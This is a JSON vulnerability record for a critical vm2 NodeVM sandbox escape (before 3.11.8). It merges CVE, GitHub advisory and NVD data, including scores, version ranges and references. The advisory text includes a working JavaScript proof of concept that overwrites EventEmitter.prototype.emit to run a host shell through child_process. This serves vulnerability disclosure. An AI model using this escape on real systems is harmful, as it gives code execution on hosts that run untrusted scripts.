{"id":"CVE-2026-92955","aliases":["CVE-2026-92955","GHSA-88hf-g992-jg85"],"related":[],"kind":"vulnerability","state":"published","title":"vm2 before 3.11.8 Sandbox Escape via NodeVM","summary":"vm2 before 3.11.8 contains a sandbox escape vulnerability in NodeVM that allows attackers to access the host __proto__ getter/setter through console._stdout and console._stderr. Attackers can overwrite EventEmitter.prototype.emit and trigger process events to execute code with process context, bypassing code generation restrictions.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"vm2 before 3.11.8 contains a sandbox escape vulnerability in NodeVM that allows attackers to access the host __proto__ getter/setter through console._stdout and console._stderr. Attackers can overwrite EventEmitter.prototype.emit and trigger process events to execute code with process context, bypassing code generation restrictions.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nIt being possible to obtain the host `__proto__` getter/setter, has been used in many reports:\n\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6\n\nYet it was never patched...\n\n---\n\nThis can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via `console._stdout`/`console._stderr` (`NodeVM` with `console: 'inherit'`, which is the default)\n\n## Details\n\nThe prototype chain for `console._stdout`/`console._stderr` is:\n\n```\n_stdout / _stderr\n-> WriteStream (TTY only)\n-> Socket\n-> Duplex\n-> Readable\n-> Stream\n-> EventEmitter\n```\n\n`process` is an `EventEmitter`, and nothing stops us from writing things to `EventEmmiter.prototype`\n\nBy overwriting `EventEmmiter.prototype.emit` with a function, and making `process` emit an event (e.g. `exit`, `unhandledRejection` etc.), we can execute code with `this` being `process`.\n\nThis also bypasses `--disallow-code-generation-from-strings`, which blocks the \"usual\" escape of obtaining the host function constructor.\n\n## PoC\n\n```js\nconst { NodeVM } = require(\"vm2\");\n\ncode = `\nconst gP = Buffer.call.call(__lookupGetter__,67,'__proto__');\n\n// vm __proto__ getter\nconsole.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}\n\n// host __proto__ getter\nconsole.log(gP.call(console._stderr)); // Socket { [...] }\n\nlet p = console._stdout;\nwhile (p.pipe) {\n\tconsole.log(p.constructor.name);\n\tp = gP.call(p);\n};\n\np.emit = function(){\n\tconsole.log(this+[]);\n\tthis.getBuiltinModule(\"child_process\").execSync(\"sh\",{stdio:\"inherit\"})\n}\n`;\n\nconst vm = new NodeVM();\nvm.run(code);\n```","format":"markdown","source":"ghsa"}],"published":"2026-09-17T13:46:13.508Z","modified":"2026-10-05T23:00:04.252Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":10,"rating":"CRITICAL"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":10,"rating":"CRITICAL"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","rating":"CRITICAL"}],"cwes":["CWE-913"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"3.11.8","status":"affected"},{"type":"semver","version":"3.11.8","status":"unaffected"}],"vendor":"patriksimek","product":"vm2","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.11.8"}],"ecosystem":"npm","package":"vm2","purl":"pkg:npm/vm2","source":"ghsa"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-88hf-g992-jg85","tags":["exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.vulncheck.com/advisories/vm2-before-3.11.8-sandbox-escape-via-nodevm","tags":["third-party-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92955","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/patriksimek/vm2/commit/22a43704c04b66823b4064b8a16fe1ad54ad0290","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/patriksimek/vm2/blob/v3.11.7/lib/bridge.js#L1963-L1989","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/patriksimek/vm2/blob/v3.11.7/lib/setup-node-sandbox.js#L437-L440","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.8","tags":["web"],"sources":["ghsa"]}],"credits":["c0rydoras"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-09-17T14:23:07.314Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-92955","url":"https://www.cve.org/CVERecord?id=CVE-2026-92955","licence":"CVE Terms of Use","modified":"2026-09-17T14:23:35.469Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-88hf-g992-jg85","url":"https://github.com/advisories/GHSA-88hf-g992-jg85","licence":"CC-BY-4.0","modified":"2026-10-05T23:00:04.252Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-92955","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92955","licence":"Public domain","modified":"2026-09-17T15:17:01.040Z"}],"updatedAt":"2026-11-25T22:59:39.252Z","epss":{"score":0.00618,"percentile":0.50957,"date":"2026-12-01T12:00:22.000Z"}}